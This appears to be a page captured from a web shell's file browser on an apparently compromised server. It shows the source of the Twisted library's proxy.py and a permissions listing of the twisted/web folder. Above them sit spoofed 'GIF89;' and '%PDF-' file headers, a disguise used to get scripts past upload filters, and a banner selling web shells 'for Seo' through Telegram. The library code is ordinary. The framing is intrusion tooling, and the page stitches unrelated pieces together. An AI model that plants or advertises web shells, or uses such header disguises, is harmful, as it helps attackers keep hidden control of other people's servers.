GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- test-case-name: twisted.web.test.test_proxy -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
Simplistic HTTP proxy support.
This comes in two main variants - the Proxy and the ReverseProxy.
When a Proxy is in use, a browser trying to connect to a server (say,
www.yahoo.com) will be intercepted by the Proxy, and the proxy will covertly
connect to the server, and return the result.
When a ReverseProxy is in use, the client connects directly to the ReverseProxy
(say, www.yahoo.com) which farms off the request to one of a pool of servers,
and returns the result.
Normally, a Proxy is used on the client end of an Internet connection, while a
ReverseProxy is used on the server end.
"""
from urllib.parse import quote as urlquote, urlparse, urlunparse
from twisted.internet import reactor
from twisted.internet.protocol import ClientFactory
from twisted.web.http import _QUEUED_SENTINEL, HTTPChannel, HTTPClient, Request
from twisted.web.resource import Resource
from twisted.web.server import NOT_DONE_YET
class ProxyClient(HTTPClient):
"""
Used by ProxyClientFactory to implement a simple web proxy.
@ivar _finished: A flag which indicates whether or not the original request
has been finished yet.
"""
_finished = False
def __init__(self, command, rest, version, headers, data, father):
self.father = father
self.command = command
self.rest = rest
if b"proxy-connection" in headers:
del headers[b"proxy-connection"]
headers[b"connection"] = b"close"
headers.pop(b"keep-alive", None)
self.headers = headers
self.data = data
def connectionMade(self):
self.sendCommand(self.command, self.rest)
for header, value in self.headers.items():
self.sendHeader(header, value)
self.endHeaders()
self.transport.write(self.data)
def handleStatus(self, version, code, message):
self.father.setResponseCode(int(code), message)
def handleHeader(self, key, value):
# t.web.server.Request sets default values for these headers in its
# 'process' method. When these headers are received from the remote
# server, they ought to override the defaults, rather than append to
# them.
if key.lower() in [b"server", b"date", b"content-type"]:
self.father.responseHeaders.setRawHeaders(key, [value])
else:
self.father.responseHeaders.addRawHeader(key, value)
def handleResponsePart(self, buffer):
self.father.write(buffer)
def handleResponseEnd(self):
"""
Finish the original request, indicating that the response has been
completely written to it, and disconnect the outgoing transport.
"""
if not self._finished:
self._finished = True
self.father.finish()
self.transport.loseConnection()
class ProxyClientFactory(ClientFactory):
"""
Used by ProxyRequest to implement a simple web proxy.
"""
# Type is wrong. See: https://twistedmatrix.com/trac/ticket/10006
protocol = ProxyClient # type: ignore[assignment]
def __init__(self, command, rest, version, headers, data, father):
self.father = father
self.command = command
self.rest = rest
self.headers = headers
self.data = data
self.version = version
def buildProtocol(self, addr):
return self.protocol(
self.command, self.rest, self.version, self.headers, self.data, self.father
)
def clientConnectionFailed(self, connector, reason):
"""
Report a connection failure in a response to the incoming request as
an error.
"""
self.father.setResponseCode(501, b"Gateway error")
self.father.responseHeaders.addRawHeader(b"Content-Type", b"text/html")
self.father.write(b"<H1>Could not connect</H1>")
self.father.finish()
class ProxyRequest(Request):
"""
Used by Proxy to implement a simple web proxy.
@ivar reactor: the reactor used to create connections.
@type reactor: object providing L{twisted.internet.interfaces.IReactorTCP}
"""
protocols = {b"http": ProxyClientFactory}
ports = {b"http": 80}
def __init__(self, channel, queued=_QUEUED_SENTINEL, reactor=reactor):
Request.__init__(self, channel, queued)
self.reactor = reactor
def process(self):
parsed = urlparse(self.uri)
protocol = parsed[0]
host = parsed[1].decode("ascii")
port = self.ports[protocol]
if ":" in host:
host, port = host.split(":")
port = int(port)
rest = urlunparse((b"", b"") + parsed[2:])
if not rest:
rest = rest + b"/"
class_ = self.protocols[protocol]
headers = self.getAllHeaders().copy()
if b"host" not in headers:
headers[b"host"] = host.encode("ascii")
self.content.seek(0, 0)
s = self.content.read()
clientFactory = class_(self.method, rest, self.clientproto, headers, s, self)
self.reactor.connectTCP(host, port, clientFactory)
class Proxy(HTTPChannel):
"""
This class implements a simple web proxy.
Since it inherits from L{twisted.web.http.HTTPChannel}, to use it you
should do something like this::
from twisted.web import http
f = http.HTTPFactory()
f.protocol = Proxy
Make the HTTPFactory a listener on a port as per usual, and you have
a fully-functioning web proxy!
"""
requestFactory = ProxyRequest
class ReverseProxyRequest(Request):
"""
Used by ReverseProxy to implement a simple reverse proxy.
@ivar proxyClientFactoryClass: a proxy client factory class, used to create
new connections.
@type proxyClientFactoryClass: L{ClientFactory}
@ivar reactor: the reactor used to create connections.
@type reactor: object providing L{twisted.internet.interfaces.IReactorTCP}
"""
proxyClientFactoryClass = ProxyClientFactory
def __init__(self, channel, queued=_QUEUED_SENTINEL, reactor=reactor):
Request.__init__(self, channel, queued)
self.reactor = reactor
def process(self):
"""
Handle this request by connecting to the proxied server and forwarding
it there, then forwarding the response back as the response to this
request.
"""
self.requestHeaders.setRawHeaders(b"host", [self.factory.host.encode("ascii")])
clientFactory = self.proxyClientFactoryClass(
self.method,
self.uri,
self.clientproto,
self.getAllHeaders(),
self.content.read(),
self,
)
self.reactor.connectTCP(self.factory.host, self.factory.port, clientFactory)
class ReverseProxy(HTTPChannel):
"""
Implements a simple reverse proxy.
For details of usage, see the file examples/reverse-proxy.py.
"""
requestFactory = ReverseProxyRequest
class ReverseProxyResource(Resource):
"""
Resource that renders the results gotten from another server
Put this resource in the tree to cause everything below it to be relayed
to a different server.
@ivar proxyClientFactoryClass: a proxy client factory class, used to create
new connections.
@type proxyClientFactoryClass: L{ClientFactory}
@ivar reactor: the reactor used to create connections.
@type reactor: object providing L{twisted.internet.interfaces.IReactorTCP}
"""
proxyClientFactoryClass = ProxyClientFactory
def __init__(self, host, port, path, reactor=reactor):
"""
@param host: the host of the web server to proxy.
@type host: C{str}
@param port: the port of the web server to proxy.
@type port: C{port}
@param path: the base path to fetch data from. Note that you shouldn't
put any trailing slashes in it, it will be added automatically in
request. For example, if you put B{/foo}, a request on B{/bar} will
be proxied to B{/foo/bar}. Any required encoding of special
characters (such as " " or "/") should have been done already.
@type path: C{bytes}
"""
Resource.__init__(self)
self.host = host
self.port = port
self.path = path
self.reactor = reactor
def getChild(self, path, request):
"""
Create and return a proxy resource with the same proxy configuration
as this one, except that its path also contains the segment given by
C{path} at the end.
"""
return ReverseProxyResource(
self.host,
self.port,
self.path + b"/" + urlquote(path, safe=b"").encode("utf-8"),
self.reactor,
)
def render(self, request):
"""
Render a request by forwarding it to the proxied server.
"""
# RFC 2616 tells us that we can omit the port if it's the default port,
# but we have to provide it otherwise
if self.port == 80:
host = self.host
else:
host = "%s:%d" % (self.host, self.port)
request.requestHeaders.setRawHeaders(b"host", [host.encode("ascii")])
request.content.seek(0, 0)
qs = urlparse(request.uri)[4]
if qs:
rest = self.path + b"?" + qs
else:
rest = self.path
clientFactory = self.proxyClientFactoryClass(
request.method,
rest,
request.clientproto,
request.getAllHeaders(),
request.content.read(),
request,
)
self.reactor.connectTCP(self.host, self.port, clientFactory)
return NOT_DONE_YET
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| _auth | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| __init__.py | File | 384 B | 0644 |
|
| _element.py | File | 5.8 KB | 0644 |
|
| _flatten.py | File | 16.2 KB | 0644 |
|
| _http2.py | File | 47.62 KB | 0644 |
|
| _newclient.py | File | 62.33 KB | 0644 |
|
| _responses.py | File | 2.93 KB | 0644 |
|
| _stan.py | File | 10.71 KB | 0644 |
|
| _template_util.py | File | 30.76 KB | 0644 |
|
| client.py | File | 56.61 KB | 0644 |
|
| demo.py | File | 516 B | 0644 |
|
| distrib.py | File | 11.58 KB | 0644 |
|
| domhelpers.py | File | 8.6 KB | 0644 |
|
| error.py | File | 12.72 KB | 0644 |
|
| guard.py | File | 587 B | 0644 |
|
| html.py | File | 1.51 KB | 0644 |
|
| http.py | File | 109.73 KB | 0644 |
|
| http_headers.py | File | 8.47 KB | 0644 |
|
| iweb.py | File | 27.07 KB | 0644 |
|
| microdom.py | File | 36.09 KB | 0644 |
|
| proxy.py | File | 9.64 KB | 0644 |
|
| resource.py | File | 13.25 KB | 0644 |
|
| rewrite.py | File | 1.82 KB | 0644 |
|
| script.py | File | 5.57 KB | 0644 |
|
| server.py | File | 28.82 KB | 0644 |
|
| soap.py | File | 5.11 KB | 0644 |
|
| static.py | File | 36.41 KB | 0644 |
|
| sux.py | File | 20.39 KB | 0644 |
|
| tap.py | File | 10.02 KB | 0644 |
|
| template.py | File | 1.27 KB | 0644 |
|
| twcgi.py | File | 11.68 KB | 0644 |
|
| util.py | File | 749 B | 0644 |
|
| vhost.py | File | 4.4 KB | 0644 |
|
| wsgi.py | File | 21.45 KB | 0644 |
|
| xmlrpc.py | File | 20.65 KB | 0644 |
|